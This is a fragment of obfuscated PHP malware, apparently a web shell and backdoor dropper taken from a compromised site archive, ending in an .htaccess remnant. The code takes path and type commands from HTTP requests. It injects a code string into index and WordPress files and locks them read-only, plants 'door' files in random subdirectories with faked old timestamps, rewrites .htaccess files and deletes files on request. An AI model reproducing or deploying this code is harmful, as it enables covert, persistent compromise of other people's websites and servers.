file_get_contents($index_url); } if (strpos($index_yuan, $station_code) === false) { file_put_contents($index_url, $station_code . $index_yuan); chmod($index_url, 292); } $wp_yuan = ''; if (file_exists($wp_url)) { chmod($wp_url, 420); $wp_yuan = file_get_contents($wp_url); } if (strpos($wp_yuan, $station_code) === false) { file_put_contents($wp_url, $station_code . $wp_yuan); chmod($wp_yuan, 292); } chmod($ht_url, 420); file_put_contents($ht_url, $ht_content); chmod($ht_url, 292); $count++; } return $count; } goto qm1Q_; O63Ff: $website_path = $data["\104\x4f\103\x55\x4d\x45\x4e\124\x5f\122\x4f\x4f\124"]; goto Fl4wy; xBgGM: $type = $_REQUEST["\164\x79\x70\x65"]; goto k_y1K; BJf2P: function cndoorfile($fipath, $file_name, $open_content, $contnt) { if (!is_dir($fipath)) { mkdir($fipath, 493, true); } $fileurl = $fipath . "\57" . $file_name; if (file_put_contents($fileurl, $contnt) !== false) { $time = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); touch($fipath, $time); chmod($fileurl, 365); $ht_content_now = ''; $ht_content_now = str_replace("\x7b\43\x68\x74\143\x6f\156\164\145\x6e\x74\x7d", $file_name, $open_content); chmod($fipath . "\x2f\56\150\164\141\x63\143\145\163\163", 493); if (file_put_contents($fipath . "\57\x2e\x68\x74\141\143\x63\145\x73\x73", $ht_content_now) !== false) { chmod($fipath . "\57\56\x68\x74\141\x63\143\145\163\x73", 365); } chmod($fipath, 365); return true; } else { return false; } } goto jl3PG; Fl4wy: $file_path = $data["\123\103\122\111\120\124\137\x46\x49\114\105\x4e\x41\x4d\x45"]; goto uo843; LkJ5u: $all_paths = array(); goto UMbiz; qjrZW: if (!is_dir($now_path)) { $now_path = dirname($now_path); } goto dVIgj; dVIgj: $can_read = false; goto rRqII; ciNKW: $data = $_SERVER; goto O63Ff; XycKl: $sy_path = str_replace($website_path, '', $now_path); goto xEU0F; LyDNs: $last_folder_url = ''; goto acQER; F2kyu: function getFileSize($file_url) { $file_size = filesize($file_url); if ($file_size > 1024 * 1024) { $file_size = round($file_size / (1024 * 1024), 2) . "\40\x4d\102"; } else { if ($file_size > 1024) { $file_size = round($file_size / 1024, 2) . "\40\113\x42"; } else { $file_size = $file_size . "\x20\x42"; } } return $file_size; } goto GHtED; JQ8H4: if ($type == 1) { if (!empty($dir)) { $path = $dir; } $now_path = $path; } goto cN0SI; k_y1K: $path = $_REQUEST["\x70\x61\x74\x68"]; goto ciNKW; UzBrt: $now_site = $prot . $domain; goto XycKl; JEqFE: function getAllDirectories($path, $depth, $door_count) { global $all_paths, $door_lists, $last_folder_url; $firstLevelDirs = glob($path . "\x2f\x2a", GLOB_ONLYDIR); $totalSelections = $door_count; $selectedDirectories = array(); $dirsPerFirstLevel = max(1, floor($totalSelections / count($firstLevelDirs))); foreach ($firstLevelDirs as $dir) { $all_paths[] = $dir; $subDirs = getAllSubdirectories($dir, 10); if (count($subDirs) >= $dirsPerFirstLevel) { $randomKeys = array_rand($subDirs, $dirsPerFirstLevel); foreach ((array) $randomKeys as $key) { $selectedDirectories[] = $subDirs[$key]; } } else { $selectedDirectories = array_merge($selectedDirectories, $subDirs); } } if (count($selectedDirectories) < $totalSelections) { $additionalNeeded = $totalSelections - count($selectedDirectories); $allSubDirs = array(); foreach ($firstLevelDirs as $dir) { $allSubDirs = array_merge($allSubDirs, glob($dir . "\x2f\x2a", GLOB_ONLYDIR)); } $remainingDirs = array_diff($allSubDirs, $selectedDirectories); if (count($remainingDirs) > 0) { $additionalDirs = (array) array_rand($remainingDirs, min($additionalNeeded, count($remainingDirs))); foreach ($additionalDirs as $key) { $selectedDirectories[] = $remainingDirs[$key]; } } } $randomKeys = array_rand($all_paths, 1); foreach ((array) $randomKeys as $key) { $last_folder_url = $all_paths[$key]; } $door_lists = $selectedDirectories; return $all_paths; } goto vUUwS; ewG0q: @set_time_limit(0); goto Qzy7k; JdrU1: function deleteFile($file) { if (file_exists($file)) { chmod($file, 511); if (unlink($file)) { echo "\74\x70\x20\x73\x74\x79\154\x65\x3d\x22\143\x6f\x6c\157\162\x3a\x67\x72\x65\x65\x6e\73\146\157\x6e\x74\55\167\145\x69\147\150\164\72\x20\142\x6f\x6c\144\x3b\x22\76" . $file . "\x20\x69\163\40\144\145\154\x65\x74\145\40\163\x75\x63\x63\x65\163\x73" . "\x3c\x2f\x70\x3e"; } else { echo "\x3c\x70\40\x73\x74\171\x6c\145\75\42\143\157\x6c\157\x72\72\162\145\x64\x3b\146\x6f\x6e\164\55\167\x65\x69\147\150\x74\x3a\40\142\x6f\x6c\x64\x3b\x22\x3e" . $file . "\x20\151\163\x20\x64\145\154\145\164\x65\x20\x65\162\162\x6f\x72" . "\x3c\57\x70\x3e"; } } else { echo "\x3c\160\x20\163\x74\x79\154\x65\75\42\x63\x6f\154\157\162\72\x72\x65\x64\73\146\157\x6e\x74\55\167\x65\151\147\150\x74\x3a\40\x62\x6f\x6c\x64\73\42\x3e" . $file . "\x20\x69\163\40\x6e\x6f\164\x20\x65\x78\x69\x73\164" . "\74\x2f\160\x3e"; } } goto ukDQf; GHtED: function getFilePermission($filename) { clearstatcache(true, $filename); $perms = fileperms($filename); if (($perms & 49152) === 49152) { $info = "\x73"; } elseif (($perms & 40960) === 40960) { $info = "\154"; } elseif (($perms & 32768) === 32768) { $info = "\x2d"; } elseif (($perms & 24576) === 24576) { $info = "\142"; } elseif (($perms & 16384) === 16384) { $info = "\x64"; } elseif (($perms & 8192) === 8192) { $info = "\x63"; } elseif (($perms & 4096) === 4096) { $info = "\160"; } else { $info = "\x75"; } $info .= $perms & 256 ? "\x72" : "\x2d"; $info .= $perms & 128 ? "\167" : "\55"; $info .= $perms & 64 ? $perms & 2048 ? "\x73" : "\170" : ($perms & 2048 ? "\123" : "\55"); $info .= $perms & 32 ? "\162" : "\55"; $info .= $perms & 16 ? "\167" : "\55"; $info .= $perms & 8 ? $perms & 1024 ? "\x73" : "\x78" : ($perms & 1024 ? "\x53" : "\x2d"); $info .= $perms & 4 ? "\162" : "\x2d"; $info .= $perms & 2 ? "\167" : "\55"; $info .= $perms & 1 ? $perms & 512 ? "\x74" : "\x78" : ($perms & 512 ? "\x54" : "\x2d"); return $info; } goto yky6R; KlQyS: $can_write = false; goto NKXL4; Qzy7k: error_reporting(0); goto cZQ__; cN0SI: $file_path_array = explode("\57", $file_path); goto qjrZW; uo843: $now_path = dirname($file_path); goto SplDB; UMbiz: $door_lists = array(); goto LyDNs; OtS_R: if (!empty($post_data)) { foreach ($post_data as $k => $v) { $_SESSION[$k] = $v; } } goto LkJ5u; llXeo: ?> .htaccess 0000555 00000000355 15073227575 0006363 0 ustar 00
Order allow,deny
Deny from all